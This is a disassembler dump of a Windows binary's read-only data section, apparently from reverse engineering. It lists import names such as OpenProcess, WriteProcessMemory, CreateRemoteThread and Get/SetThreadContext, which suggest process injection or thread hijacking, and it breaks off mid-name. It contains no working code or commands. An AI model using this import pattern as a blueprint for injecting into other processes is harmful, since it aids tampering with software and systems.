.rdata:0040674B                 db    0
.rdata:0040674C                 db    0
.rdata:0040674D                 db    0
.rdata:0040674E                 db    0
.rdata:0040674F                 db    0
.rdata:00406750                 db    0
.rdata:00406751                 db    0
.rdata:00406752                 db    0
.rdata:00406753                 db    0
.rdata:00406754                 db  1Ch
.rdata:00406755                 db  6Bh ; k
.rdata:00406756                 db    0
.rdata:00406757                 db    0
.rdata:00406758                 db  10h
.rdata:00406759                 db  61h ; a
.rdata:0040675A                 db    0
.rdata:0040675B                 db    0
.rdata:0040675C                 db  88h ; ê
.rdata:0040675D                 db  68h ; h
.rdata:0040675E                 db    0
.rdata:0040675F                 db    0
.rdata:00406760                 db    0
.rdata:00406761                 db    0
.rdata:00406762                 db    0
.rdata:00406763                 db    0
.rdata:00406764                 db    0
.rdata:00406765                 db    0
.rdata:00406766                 db    0
.rdata:00406767                 db    0
.rdata:00406768                 db  4Ch ; L
.rdata:00406769                 db  6Bh ; k
.rdata:0040676A                 db    0
.rdata:0040676B                 db    0
.rdata:0040676C                 db    4
.rdata:0040676D                 db  61h ; a
.rdata:0040676E                 db    0
.rdata:0040676F                 db    0
.rdata:00406770                 db    0
.rdata:00406771                 db    0
.rdata:00406772                 db    0
.rdata:00406773                 db    0
.rdata:00406774                 db    0
.rdata:00406775                 db    0
.rdata:00406776                 db    0
.rdata:00406777                 db    0
.rdata:00406778                 db    0
.rdata:00406779                 db    0
.rdata:0040677A                 db    0
.rdata:0040677B                 db    0
.rdata:0040677C                 db    0
.rdata:0040677D                 db    0
.rdata:0040677E                 db    0
.rdata:0040677F                 db    0
.rdata:00406780                 db    0
.rdata:00406781                 db    0
.rdata:00406782                 db    0
.rdata:00406783                 db    0
.rdata:00406784                 db 0C8h ; +
.rdata:00406785                 db  68h ; h
.rdata:00406786                 db    0
.rdata:00406787                 db    0
.rdata:00406788                 db 0D8h ; +
.rdata:00406789                 db  68h ; h
.rdata:0040678A                 db    0
.rdata:0040678B                 db    0
.rdata:0040678C                 db 0EAh ; O
.rdata:0040678D                 db  68h ; h
.rdata:0040678E                 db    0
.rdata:0040678F                 db    0
.rdata:00406790                 db 0FAh ; ·
.rdata:00406791                 db  68h ; h
.rdata:00406792                 db    0
.rdata:00406793                 db    0
.rdata:00406794                 db  0Eh
.rdata:00406795                 db  69h ; i
.rdata:00406796                 db    0
.rdata:00406797                 db    0
.rdata:00406798                 db  1Ch
.rdata:00406799                 db  69h ; i
.rdata:0040679A                 db    0
.rdata:0040679B                 db    0
.rdata:0040679C                 db  2Ch ; ,
.rdata:0040679D                 db  69h ; i
.rdata:0040679E                 db    0
.rdata:0040679F                 db    0
.rdata:004067A0                 db  40h ; @
.rdata:004067A1                 db  69h ; i
.rdata:004067A2                 db    0
.rdata:004067A3                 db    0
.rdata:004067A4                 db  54h ; T
.rdata:004067A5                 db  69h ; i
.rdata:004067A6                 db    0
.rdata:004067A7                 db    0
.rdata:004067A8                 db  64h ; d
.rdata:004067A9                 db  69h ; i
.rdata:004067AA                 db    0
.rdata:004067AB                 db    0
.rdata:004067AC                 db  6Ch ; l
.rdata:004067AD                 db  69h ; i
.rdata:004067AE                 db    0
.rdata:004067AF                 db    0
.rdata:004067B0                 db  80h ; Ç
.rdata:004067B1                 db  69h ; i
.rdata:004067B2                 db    0
.rdata:004067B3                 db    0
.rdata:004067B4                 db  96h ; û
.rdata:004067B5                 db  69h ; i
.rdata:004067B6                 db    0
.rdata:004067B7                 db    0
.rdata:004067B8                 db 0ACh ; ¼
.rdata:004067B9                 db  69h ; i
.rdata:004067BA                 db    0
.rdata:004067BB                 db    0
.rdata:004067BC                 db 0C2h ; -
.rdata:004067BD                 db  69h ; i
.rdata:004067BE                 db    0
.rdata:004067BF                 db    0
.rdata:004067C0                 db 0D0h ; -
.rdata:004067C1                 db  69h ; i
.rdata:004067C2                 db    0
.rdata:004067C3                 db    0
.rdata:004067C4                 db 0E0h ; a
.rdata:004067C5                 db  69h ; i
.rdata:004067C6                 db    0
.rdata:004067C7                 db    0
.rdata:004067C8                 db 0F6h ; ÷
.rdata:004067C9                 db  69h ; i
.rdata:004067CA                 db    0
.rdata:004067CB                 db    0
.rdata:004067CC                 db    6
.rdata:004067CD                 db  6Ah ; j
.rdata:004067CE                 db    0
.rdata:004067CF                 db    0
.rdata:004067D0                 db  16h
.rdata:004067D1                 db  6Ah ; j
.rdata:004067D2                 db    0
.rdata:004067D3                 db    0
.rdata:004067D4                 db  26h ; &
.rdata:004067D5                 db  6Ah ; j
.rdata:004067D6                 db    0
.rdata:004067D7                 db    0
.rdata:004067D8                 db  38h ; 8
.rdata:004067D9                 db  6Ah ; j
.rdata:004067DA                 db    0
.rdata:004067DB                 db    0
.rdata:004067DC                 db  3Ah ; :
.rdata:004067DD                 db  6Eh ; n
.rdata:004067DE                 db    0
.rdata:004067DF                 db    0
.rdata:004067E0                 db  30h ; 0
.rdata:004067E1                 db  6Eh ; n
.rdata:004067E2                 db    0
.rdata:004067E3                 db    0
.rdata:004067E4                 db  22h ; "
.rdata:004067E5                 db  6Eh ; n
.rdata:004067E6                 db    0
.rdata:004067E7                 db    0
.rdata:004067E8                 db  12h
.rdata:004067E9                 db  6Eh ; n
.rdata:004067EA                 db    0
.rdata:004067EB                 db    0
.rdata:004067EC                 db    0
.rdata:004067ED                 db  6Eh ; n
.rdata:004067EE                 db    0
.rdata:004067EF                 db    0
.rdata:004067F0                 db 0EEh ; e
.rdata:004067F1                 db  6Dh ; m
.rdata:004067F2                 db    0
.rdata:004067F3                 db    0
.rdata:004067F4                 db  58h ; X
.rdata:004067F5                 db  6Bh ; k
.rdata:004067F6                 db    0
.rdata:004067F7                 db    0
.rdata:004067F8                 db  70h ; p
.rdata:004067F9                 db  6Bh ; k
.rdata:004067FA                 db    0
.rdata:004067FB                 db    0
.rdata:004067FC                 db  88h ; ê
.rdata:004067FD                 db  6Bh ; k
.rdata:004067FE                 db    0
.rdata:004067FF                 db    0
.rdata:00406800                 db  9Ah ; Ü
.rdata:00406801                 db  6Bh ; k
.rdata:00406802                 db    0
.rdata:00406803                 db    0
.rdata:00406804                 db 0ACh ; ¼
.rdata:00406805                 db  6Bh ; k
.rdata:00406806                 db    0
.rdata:00406807                 db    0
.rdata:00406808                 db 0BAh ; ¦
.rdata:00406809                 db  6Bh ; k
.rdata:0040680A                 db    0
.rdata:0040680B                 db    0
.rdata:0040680C                 db 0C8h ; +
.rdata:0040680D                 db  6Bh ; k
.rdata:0040680E                 db    0
.rdata:0040680F                 db    0
.rdata:00406810                 db 0E4h ; S
.rdata:00406811                 db  6Bh ; k
.rdata:00406812                 db    0
.rdata:00406813                 db    0
.rdata:00406814                 db 0FCh ; n
.rdata:00406815                 db  6Bh ; k
.rdata:00406816                 db    0
.rdata:00406817                 db    0
.rdata:00406818                 db  14h
.rdata:00406819                 db  6Ch ; l
.rdata:0040681A                 db    0
.rdata:0040681B                 db    0
.rdata:0040681C                 db  2Ah ; *
.rdata:0040681D                 db  6Ch ; l
.rdata:0040681E                 db    0
.rdata:0040681F                 db    0
.rdata:00406820                 db  40h ; @
.rdata:00406821                 db  6Ch ; l
.rdata:00406822                 db    0
.rdata:00406823                 db    0
.rdata:00406824                 db  50h ; P
.rdata:00406825                 db  6Ch ; l
.rdata:00406826                 db    0
.rdata:00406827                 db    0
.rdata:00406828                 db  60h ; `
.rdata:00406829                 db  6Ch ; l
.rdata:0040682A                 db    0
.rdata:0040682B                 db    0
.rdata:0040682C                 db  6Ch ; l
.rdata:0040682D                 db  6Ch ; l
.rdata:0040682E                 db    0
.rdata:0040682F                 db    0
.rdata:00406830                 db  80h ; Ç
.rdata:00406831                 db  6Ch ; l
.rdata:00406832                 db    0
.rdata:00406833                 db    0
.rdata:00406834                 db  94h ; ö
.rdata:00406835                 db  6Ch ; l
.rdata:00406836                 db    0
.rdata:00406837                 db    0
.rdata:00406838                 db 0B0h ; ¦
.rdata:00406839                 db  6Ch ; l
.rdata:0040683A                 db    0
.rdata:0040683B                 db    0
.rdata:0040683C                 db 0CAh ; -
.rdata:0040683D                 db  6Ch ; l
.rdata:0040683E                 db    0
.rdata:0040683F                 db    0
.rdata:00406840                 db 0E4h ; S
.rdata:00406841                 db  6Ch ; l
.rdata:00406842                 db    0
.rdata:00406843                 db    0
.rdata:00406844                 db 0FCh ; n
.rdata:00406845                 db  6Ch ; l
.rdata:00406846                 db    0
.rdata:00406847                 db    0
.rdata:00406848                 db  16h
.rdata:00406849                 db  6Dh ; m
.rdata:0040684A                 db    0
.rdata:0040684B                 db    0
.rdata:0040684C                 db  28h ; (
.rdata:0040684D                 db  6Dh ; m
.rdata:0040684E                 db    0
.rdata:0040684F                 db    0
.rdata:00406850                 db  38h ; 8
.rdata:00406851                 db  6Dh ; m
.rdata:00406852                 db    0
.rdata:00406853                 db    0
.rdata:00406854                 db  46h ; F
.rdata:00406855                 db  6Dh ; m
.rdata:00406856                 db    0
.rdata:00406857                 db    0
.rdata:00406858                 db  5Ch ; \
.rdata:00406859                 db  6Dh ; m
.rdata:0040685A                 db    0
.rdata:0040685B                 db    0
.rdata:0040685C                 db  6Ah ; j
.rdata:0040685D                 db  6Dh ; m
.rdata:0040685E                 db    0
.rdata:0040685F                 db    0
.rdata:00406860                 db  76h ; v
.rdata:00406861                 db  6Dh ; m
.rdata:00406862                 db    0
.rdata:00406863                 db    0
.rdata:00406864                 db  86h ; å
.rdata:00406865                 db  6Dh ; m
.rdata:00406866                 db    0
.rdata:00406867                 db    0
.rdata:00406868                 db  94h ; ö
.rdata:00406869                 db  6Dh ; m
.rdata:0040686A                 db    0
.rdata:0040686B                 db    0
.rdata:0040686C                 db 0A2h ; ó
.rdata:0040686D                 db  6Dh ; m
.rdata:0040686E                 db    0
.rdata:0040686F                 db    0
.rdata:00406870                 db 0B0h ; ¦
.rdata:00406871                 db  6Dh ; m
.rdata:00406872                 db    0
.rdata:00406873                 db    0
.rdata:00406874                 db 0BEh ; +
.rdata:00406875                 db  6Dh ; m
.rdata:00406876                 db    0
.rdata:00406877                 db    0
.rdata:00406878                 db 0CAh ; -
.rdata:00406879                 db  6Dh ; m
.rdata:0040687A                 db    0
.rdata:0040687B                 db    0
.rdata:0040687C                 db 0D6h ; +
.rdata:0040687D                 db  6Dh ; m
.rdata:0040687E                 db    0
.rdata:0040687F                 db    0
.rdata:00406880                 db 0E2h ; G
.rdata:00406881                 db  6Dh ; m
.rdata:00406882                 db    0
.rdata:00406883                 db    0
.rdata:00406884                 db    0
.rdata:00406885                 db    0
.rdata:00406886                 db    0
.rdata:00406887                 db    0
.rdata:00406888                 db  3Ch ; <
.rdata:00406889                 db  6Bh ; k
.rdata:0040688A                 db    0
.rdata:0040688B                 db    0
.rdata:0040688C                 db  28h ; (
.rdata:0040688D                 db  6Bh ; k
.rdata:0040688E                 db    0
.rdata:0040688F                 db    0
.rdata:00406890                 db    0
.rdata:00406891                 db    0
.rdata:00406892                 db    0
.rdata:00406893                 db    0
.rdata:00406894                 db  0Ch
.rdata:00406895                 db  6Bh ; k
.rdata:00406896                 db    0
.rdata:00406897                 db    0
.rdata:00406898                 db 0F8h ; °
.rdata:00406899                 db  6Ah ; j
.rdata:0040689A                 db    0
.rdata:0040689B                 db    0
.rdata:0040689C                 db 0EAh ; O
.rdata:0040689D                 db  6Ah ; j
.rdata:0040689E                 db    0
.rdata:0040689F                 db    0
.rdata:004068A0                 db 0DEh ; ¦
.rdata:004068A1                 db  6Ah ; j
.rdata:004068A2                 db    0
.rdata:004068A3                 db    0
.rdata:004068A4                 db 0C2h ; -
.rdata:004068A5                 db  6Ah ; j
.rdata:004068A6                 db    0
.rdata:004068A7                 db    0
.rdata:004068A8                 db 0B0h ; ¦
.rdata:004068A9                 db  6Ah ; j
.rdata:004068AA                 db    0
.rdata:004068AB                 db    0
.rdata:004068AC                 db 0A2h ; ó
.rdata:004068AD                 db  6Ah ; j
.rdata:004068AE                 db    0
.rdata:004068AF                 db    0
.rdata:004068B0                 db  8Ch ; î
.rdata:004068B1                 db  6Ah ; j
.rdata:004068B2                 db    0
.rdata:004068B3                 db    0
.rdata:004068B4                 db  7Ch ; |
.rdata:004068B5                 db  6Ah ; j
.rdata:004068B6                 db    0
.rdata:004068B7                 db    0
.rdata:004068B8                 db  6Eh ; n
.rdata:004068B9                 db  6Ah ; j
.rdata:004068BA                 db    0
.rdata:004068BB                 db    0
.rdata:004068BC                 db  5Ch ; \
.rdata:004068BD                 db  6Ah ; j
.rdata:004068BE                 db    0
.rdata:004068BF                 db    0
.rdata:004068C0                 db 0CEh ; +
.rdata:004068C1                 db  6Ah ; j
.rdata:004068C2                 db    0
.rdata:004068C3                 db    0
.rdata:004068C4                 db    0
.rdata:004068C5                 db    0
.rdata:004068C6                 db    0
.rdata:004068C7                 db    0
.rdata:004068C8                 db  75h ; u
.rdata:004068C9                 db    1
.rdata:004068CA                 db  47h ; G
.rdata:004068CB                 db  65h ; e
.rdata:004068CC                 db  74h ; t
.rdata:004068CD                 db  56h ; V
.rdata:004068CE                 db  65h ; e
.rdata:004068CF                 db  72h ; r
.rdata:004068D0                 db  73h ; s
.rdata:004068D1                 db  69h ; i
.rdata:004068D2                 db  6Fh ; o
.rdata:004068D3                 db  6Eh ; n
.rdata:004068D4                 db  45h ; E
.rdata:004068D5                 db  78h ; x
.rdata:004068D6                 db  41h ; A
.rdata:004068D7                 db    0
.rdata:004068D8                 db  3Eh ; >
.rdata:004068D9                 db    1
.rdata:004068DA                 db  47h ; G
.rdata:004068DB                 db  65h ; e
.rdata:004068DC                 db  74h ; t
.rdata:004068DD                 db  50h ; P
.rdata:004068DE                 db  72h ; r
.rdata:004068DF                 db  6Fh ; o
.rdata:004068E0                 db  63h ; c
.rdata:004068E1                 db  41h ; A
.rdata:004068E2                 db  64h ; d
.rdata:004068E3                 db  64h ; d
.rdata:004068E4                 db  72h ; r
.rdata:004068E5                 db  65h ; e
.rdata:004068E6                 db  73h ; s
.rdata:004068E7                 db  73h ; s
.rdata:004068E8                 db    0
.rdata:004068E9                 db    0
.rdata:004068EA                 db 0C2h ; -
.rdata:004068EB                 db    1
.rdata:004068EC                 db  4Ch ; L
.rdata:004068ED                 db  6Fh ; o
.rdata:004068EE                 db  61h ; a
.rdata:004068EF                 db  64h ; d
.rdata:004068F0                 db  4Ch ; L
.rdata:004068F1                 db  69h ; i
.rdata:004068F2                 db  62h ; b
.rdata:004068F3                 db  72h ; r
.rdata:004068F4                 db  61h ; a
.rdata:004068F5                 db  72h ; r
.rdata:004068F6                 db  79h ; y
.rdata:004068F7                 db  41h ; A
.rdata:004068F8                 db    0
.rdata:004068F9                 db    0
.rdata:004068FA                 db  26h ; &
.rdata:004068FB                 db    1
.rdata:004068FC                 db  47h ; G
.rdata:004068FD                 db  65h ; e
.rdata:004068FE                 db  74h ; t
.rdata:004068FF                 db  4Dh ; M
.rdata:00406900                 db  6Fh ; o
.rdata:00406901                 db  64h ; d
.rdata:00406902                 db  75h ; u
.rdata:00406903                 db  6Ch ; l
.rdata:00406904                 db  65h ; e
.rdata:00406905                 db  48h ; H
.rdata:00406906                 db  61h ; a
.rdata:00406907                 db  6Eh ; n
.rdata:00406908                 db  64h ; d
.rdata:00406909                 db  6Ch ; l
.rdata:0040690A                 db  65h ; e
.rdata:0040690B                 db  41h ; A
.rdata:0040690C                 db    0
.rdata:0040690D                 db    0
.rdata:0040690E                 db  1Bh
.rdata:0040690F                 db    0
.rdata:00406910                 db  43h ; C
.rdata:00406911                 db  6Ch ; l
.rdata:00406912                 db  6Fh ; o
.rdata:00406913                 db  73h ; s
.rdata:00406914                 db  65h ; e
.rdata:00406915                 db  48h ; H
.rdata:00406916                 db  61h ; a
.rdata:00406917                 db  6Eh ; n
.rdata:00406918                 db  64h ; d
.rdata:00406919                 db  6Ch ; l
.rdata:0040691A                 db  65h ; e
.rdata:0040691B                 db    0
.rdata:0040691C                 db  2Ch ; ,
.rdata:0040691D                 db    2
.rdata:0040691E                 db  52h ; R
.rdata:0040691F                 db  65h ; e
.rdata:00406920                 db  73h ; s
.rdata:00406921                 db  75h ; u
.rdata:00406922                 db  6Dh ; m
.rdata:00406923                 db  65h ; e
.rdata:00406924                 db  54h ; T
.rdata:00406925                 db  68h ; h
.rdata:00406926                 db  72h ; r
.rdata:00406927                 db  65h ; e
.rdata:00406928                 db  61h ; a
.rdata:00406929                 db  64h ; d
.rdata:0040692A                 db    0
.rdata:0040692B                 db    0
.rdata:0040692C                 db  83h ; â
.rdata:0040692D                 db    2
.rdata:0040692E                 db  53h ; S
.rdata:0040692F                 db  65h ; e
.rdata:00406930                 db  74h ; t
.rdata:00406931                 db  54h ; T
.rdata:00406932                 db  68h ; h
.rdata:00406933                 db  72h ; r
.rdata:00406934                 db  65h ; e
.rdata:00406935                 db  61h ; a
.rdata:00406936                 db  64h ; d
.rdata:00406937                 db  43h ; C
.rdata:00406938                 db  6Fh ; o
.rdata:00406939                 db  6Eh ; n
.rdata:0040693A                 db  74h ; t
.rdata:0040693B                 db  65h ; e
.rdata:0040693C                 db  78h ; x
.rdata:0040693D                 db  74h ; t
.rdata:0040693E                 db    0
.rdata:0040693F                 db    0
.rdata:00406940                 db  67h ; g
.rdata:00406941                 db    1
.rdata:00406942                 db  47h ; G
.rdata:00406943                 db  65h ; e
.rdata:00406944                 db  74h ; t
.rdata:00406945                 db  54h ; T
.rdata:00406946                 db  68h ; h
.rdata:00406947                 db  72h ; r
.rdata:00406948                 db  65h ; e
.rdata:00406949                 db  61h ; a
.rdata:0040694A                 db  64h ; d
.rdata:0040694B                 db  43h ; C
.rdata:0040694C                 db  6Fh ; o
.rdata:0040694D                 db  6Eh ; n
.rdata:0040694E                 db  74h ; t
.rdata:0040694F                 db  65h ; e
.rdata:00406950                 db  78h ; x
.rdata:00406951                 db  74h ; t
.rdata:00406952                 db    0
.rdata:00406953                 db    0
.rdata:00406954                 db  98h ; ÿ
.rdata:00406955                 db    2
.rdata:00406956                 db  53h ; S
.rdata:00406957                 db  75h ; u
.rdata:00406958                 db  73h ; s
.rdata:00406959                 db  70h ; p
.rdata:0040695A                 db  65h ; e
.rdata:0040695B                 db  6Eh ; n
.rdata:0040695C                 db  64h ; d
.rdata:0040695D                 db  54h ; T
.rdata:0040695E                 db  68h ; h
.rdata:0040695F                 db  72h ; r
.rdata:00406960                 db  65h ; e
.rdata:00406961                 db  61h ; a
.rdata:00406962                 db  64h ; d
.rdata:00406963                 db    0
.rdata:00406964                 db  96h ; û
.rdata:00406965                 db    2
.rdata:00406966                 db  53h ; S
.rdata:00406967                 db  6Ch ; l
.rdata:00406968                 db  65h ; e
.rdata:00406969                 db  65h ; e
.rdata:0040696A                 db  70h ; p
.rdata:0040696B                 db    0
.rdata:0040696C                 db  0Ch
.rdata:0040696D                 db    1
.rdata:0040696E                 db  47h ; G
.rdata:0040696F                 db  65h ; e
.rdata:00406970                 db  74h ; t
.rdata:00406971                 db  45h ; E
.rdata:00406972                 db  78h ; x
.rdata:00406973                 db  69h ; i
.rdata:00406974                 db  74h ; t
.rdata:00406975                 db  43h ; C
.rdata:00406976                 db  6Fh ; o
.rdata:00406977                 db  64h ; d
.rdata:00406978                 db  65h ; e
.rdata:00406979                 db  54h ; T
.rdata:0040697A                 db  68h ; h
.rdata:0040697B                 db  72h ; r
.rdata:0040697C                 db  65h ; e
.rdata:0040697D                 db  61h ; a
.rdata:0040697E                 db  64h ; d
.rdata:0040697F                 db    0
.rdata:00406980                 db 0CEh ; +
.rdata:00406981                 db    2
.rdata:00406982                 db  57h ; W
.rdata:00406983                 db  61h ; a
.rdata:00406984                 db  69h ; i
.rdata:00406985                 db  74h ; t
.rdata:00406986                 db  46h ; F
.rdata:00406987                 db  6Fh ; o
.rdata:00406988                 db  72h ; r
.rdata:00406989                 db  53h ; S
.rdata:0040698A                 db  69h ; i
.rdata:0040698B                 db  6Eh ; n
.rdata:0040698C                 db  67h ; g
.rdata:0040698D                 db  6Ch ; l
.rdata:0040698E                 db  65h ; e
.rdata:0040698F                 db  4Fh ; O
.rdata:00406990                 db  62h ; b
.rdata:00406991                 db  6Ah ; j
.rdata:00406992                 db  65h ; e
.rdata:00406993                 db  63h ; c
.rdata:00406994                 db  74h ; t
.rdata:00406995                 db    0
.rdata:00406996                 db  46h ; F
.rdata:00406997                 db    0
.rdata:00406998                 db  43h ; C
.rdata:00406999                 db  72h ; r
.rdata:0040699A                 db  65h ; e
.rdata:0040699B                 db  61h ; a
.rdata:0040699C                 db  74h ; t
.rdata:0040699D                 db  65h ; e
.rdata:0040699E                 db  52h ; R
.rdata:0040699F                 db  65h ; e
.rdata:004069A0                 db  6Dh ; m
.rdata:004069A1                 db  6Fh ; o
.rdata:004069A2                 db  74h ; t
.rdata:004069A3                 db  65h ; e
.rdata:004069A4                 db  54h ; T
.rdata:004069A5                 db  68h ; h
.rdata:004069A6                 db  72h ; r
.rdata:004069A7                 db  65h ; e
.rdata:004069A8                 db  61h ; a
.rdata:004069A9                 db  64h ; d
.rdata:004069AA                 db    0
.rdata:004069AB                 db    0
.rdata:004069AC                 db 0E9h ; T
.rdata:004069AD                 db    2
.rdata:004069AE                 db  57h ; W
.rdata:004069AF                 db  72h ; r
.rdata:004069B0                 db  69h ; i
.rdata:004069B1                 db  74h ; t
.rdata:004069B2                 db  65h ; e
.rdata:004069B3                 db  50h ; P
.rdata:004069B4                 db  72h ; r
.rdata:004069B5                 db  6Fh ; o
.rdata:004069B6                 db  63h ; c
.rdata:004069B7                 db  65h ; e
.rdata:004069B8                 db  73h ; s
.rdata:004069B9                 db  73h ; s
.rdata:004069BA                 db  4Dh ; M
.rdata:004069BB                 db  65h ; e
.rdata:004069BC                 db  6Dh ; m
.rdata:004069BD                 db  6Fh ; o
.rdata:004069BE                 db  72h ; r
.rdata:004069BF                 db  79h ; y
.rdata:004069C0                 db    0
.rdata:004069C1                 db    0
.rdata:004069C2                 db 0EFh ; n
.rdata:004069C3                 db    1
.rdata:004069C4                 db  4Fh ; O
.rdata:004069C5                 db  70h ; p
.rdata:004069C6                 db  65h ; e
.rdata:004069C7                 db  6Eh ; n
.rdata:004069C8                 db  50h ; P
.rdata:004069C9                 db  72h ; r
.rdata:004069CA                 db  6Fh ; o
.rdata:004069CB                 db  63h ; c
.rdata:004069CC                 db  65h ; e
.rdata:004069CD                 db  73h ; s
.rdata:004069CE                 db  73h ; s
.rdata:004069CF                 db    0
.rdata:004069D0                 db 0B5h ; ¦
.rdata:004069D1                 db    1
.rdata:004069D2                 db  49h ; I
.rdata:004069D3                 db  73h ; s
.rdata:004069D4                 db  42h ; B
.rdata:004069D5                 db  61h ; a
.rdata:004069D6                 db  64h ; d
.rdata:004069D7                 db  52h ; R
.rdata:004069D8                 db  65h ; e
.rdata:004069D9                 db  61h ; a
.rdata:004069DA                 db  64h ; d
.rdata:004069DB                 db  50h ; P
.rdata:004069DC                 db  74h ; t
.rdata:004069DD                 db  72h ; r
.rdata:004069DE                 db    0
.rdata:004069DF                 db    0
.rdata:004069E0                 db 0F8h ; °
.rdata:004069E1                 db    0
.rdata:004069E2                 db  47h ; G
.rdata:004069E3                 db  65h ; e
.rdata:004069E4                 db  74h ; t
.rdata:004069E5                 db  43h ; C
.rdata:004069E6                 db  75h ; u
.rdata:004069E7                 db  72h ; r
.rdata:004069E8                 db  72h ; r
.rdata:004069E9                 db  65h ; e
.rdata:004069EA                 db  6Eh ; n
.rdata:004069EB                 db  74h ; t
.rdata:004069EC                 db  50h ; P
.rdata:004069ED                 db  72h ; r
.rdata:004069EE                 db  6Fh ; o
.rdata:004069EF                 db  63h ; c
.rdata:004069F0                 db  65h ; e
.rdata:004069F1                 db  73h ; s
.rdata:004069F2                 db  73h ; s
.rdata:004069F3                 db  49h ; I
.rdata:004069F4                 db  64h ; d
.rdata:004069F5                 db    0
.rdata:004069F6                 db  4Ah ; J
.rdata:004069F7                 db    0
.rdata:004069F8                 db  43h ; C
.rdata:004069F9                 db  72h ; r
.rdata:004069FA                 db  65h ; e
.rdata:004069FB                 db  61h ; a
.rdata:004069FC                 db  74h ; t
.rdata:004069FD                 db  65h ; e
.rdata:004069FE                 db  54h ; T
.rdata:004069FF                 db  68h ; h
.rdata:00406A00                 db  72h ; r
.rdata:00406A01                 db  65h ; e
.rdata:00406A02                 db  61h ; a
.rdata:00406A03                 db  64h ; d
.rdata:00406A04                 db    0
.rdata:00406A05                 db    0
.rdata:00406A06                 db  1Ah
.rdata:00406A07                 db    1
.rdata:00406A08                 db  47h ; G
.rdata:00406A09                 db  65h ; e
.rdata:00406A0A                 db  74h ; t
.rdata:00406A0B                 db  4Ch ; L
.rdata:00406A0C                 db  61h ; a
.rdata:00406A0D                 db  73h ; s
.rdata:00406A0E                 db  74h ; t
.rdata:00406A0F                 db  45h ; E
.rdata:00406A10                 db  72h ; r
.rdata:00406A11                 db  72h ; r
.rdata:00406A12                 db  6Fh ; o
.rdata:00406A13                 db  72h ; r
.rdata:00406A14                 db    0
.rdata:00406A15                 db    0
.rdata:00406A16                 db  3Fh ; ?
.rdata:00406A17                 db    0
.rdata:00406A18                 db  43h ; C
.rdata:00406A19                 db  72h ; r
.rdata:00406A1A                 db  65h ; e
.rdata:00406A1B                 db  61h ; a
.rdata:00406A1C                 db  74h ; t
.rdata:00406A1D                 db  65h ; e
.rdata:00406A1E                 db  4Dh ; M
.rdata:00406A1F                 db  75h ; u
.rdata:00406A20                 db  74h ; t
.rdata:00406A21                 db  65h ; e
.rdata:00406A22                 db  78h ; x
.rdata:00406A23                 db  41h ; A
.rdata:00406A24                 db    0
.rdata:00406A25                 db    0
.rdata:00406A26                 db  94h ; ö
.rdata:00406A27                 db    0
.rdata:00406A28                 db  46h ; F
.rdata:00406A29                 db  69h ; i
.rdata:00406A2A                 db  6Eh ; n
.rdata:00406A2B                 db  64h ; d
.rdata:00406A2C                 db  46h ; F
.rdata:00406A2D                 db  69h ; i
.rdata:00406A2E                 db  72h ; r
.rdata:00406A2F                 db  73h ; s
.rdata:00406A30                 db  74h ; t
.rdata:00406A31                 db  46h ; F
.rdata:00406A32                 db  69h ; i
.rdata:00406A33                 db  6Ch ; l
.rdata:00406A34                 db  65h ; e
.rdata:00406A35                 db  41h ; A
.rdata:00406A36                 db    0
.rdata:00406A37                 db    0
.rdata:00406A38                 db  24h ; $
.rdata:00406A39                 db    1
.rdata:00406A3A                 db  47h ; G
.rdata:00406A3B                 db  65h ; e
.rdata:00406A3C                 db  74h ; t
.rdata:00406A3D                 db  4Dh ; M
.rdata:00406A3E                 db  6Fh ; o
.rdata:00406A3F                 db  64h ; d
.rdata:00406A40                 db  75h ; u
.rdata:00406A41                 db  6Ch ; l
.rdata:00406A42                 db  65h ; e
.rdata:00406A43                 db  46h ; F
.rdata:00406A44                 db  69h ; i
.rdata:00406A45                 db  6Ch ; l
.rdata:00406A46                 db  65h ; e
.rdata:00406A47                 db  4Eh ; N
.rdata:00406A48                 db  61h ; a
.rdata:00406A49                 db  6Dh ; m
.rdata:00406A4A                 db  65h ; e
.rdata:00406A4B                 db  41h ; A
.rdata:00406A4C                 db    0
.rdata:00406A4D                 db    0
.rdata:00406A4E                 db  4Bh ; K
.rdata:00406A4F                 db  45h ; E
.rdata:00406A50                 db  52h ; R
.rdata:00406A51                 db  4Eh ; N
.rdata:00406A52                 db  45h ; E
.rdata:00406A53                 db  4Ch ; L
.rdata:00406A54                 db  33h ; 3
.rdata:00406A55                 db  32h ; 2
.rdata:00406A56                 db  2Eh ; .
.rdata:00406A57                 db  64h ; d
.rdata:00406A58                 db  6Ch ; l
.rdata:00406A59                 db  6Ch ; l
.rdata:00406A5A                 db    0
.rdata:00406A5B                 db    0
.rdata:00406A5C                 db  93h ; ô
.rdata:00406A5D                 db    0
.rdata:00406A5E                 db  44h ; D
.rdata:00406A5F                 db  69h ; i
.rdata:00406A60                 db  61h ; a
.rdata:00406A61                 db  6Ch ; l
.rdata:00406A62                 db  6Fh ; o
.rdata:00406A63                 db  67h ; g
.rdata:00406A64                 db  42h ; B
.rdata:00406A65                 db  6Fh ; o
.rdata:00406A66                 db  78h ; x
.rdata:00406A67                 db  50h ; P
.rdata:00406A68                 db  61h ; a
.rdata:00406A69                 db  72h ; r
.rdata:00406A6A                 db  61h ; a
.rdata:00406A6B                 db  6Dh ; m
.rdata:00406A6C                 db  41h ; A
.rdata:00406A6D                 db    0
.rdata:00406A6E                 db 0BEh ; +
.rdata:00406A6F                 db    1
.rdata:00406A70                 db  4Dh ; M
.rdata:00406A71                 db  65h ; e
.rdata:00406A72                 db  73h ; s
.rdata:00406A73                 db  73h ; s
.rdata:00406A74                 db  61h ; a
.rdata:00406A75                 db  67h ; g
.rdata:00406A76                 db  65h ; e
.rdata:00406A77                 db  42h ; B
.rdata:00406A78                 db  6Fh ; o
.rdata:00406A79                 db  78h ; x
.rdata:00406A7A                 db  41h ; A
.rdata:00406A7B                 db    0
.rdata:00406A7C                 db 0DEh ; ¦
.rdata:00406A7D                 db    1
.rdata:00406A7E                 db  50h ; P
.rdata:00406A7F                 db  6Fh ; o
.rdata:00406A80                 db  73h ; s
.rdata:00406A81                 db  74h ; t
.rdata:00406A82                 db  4Dh ; M
.rdata:00406A83                 db  65h ; e
.rdata:00406A84                 db  73h ; s
.rdata:00406A85                 db  73h ; s
.rdata:00406A86                 db  61h ; a
.rdata:00406A87                 db  67h ; g
.rdata:00406A88                 db  65h ; e
.rdata:00406A89                 db  41h ; A
.rdata:00406A8A                 db    0
.rdata:00406A8B                 db    0
.rdata:00406A8C                 db  30h ; 0
.rdata:00406A8D                 db    2
.rdata:00406A8E                 db  53h ; S
.rdata:00406A8F                 db  65h ; e
.rdata:00406A90                 db  74h ; t
.rdata:00406A91                 db  46h ; F
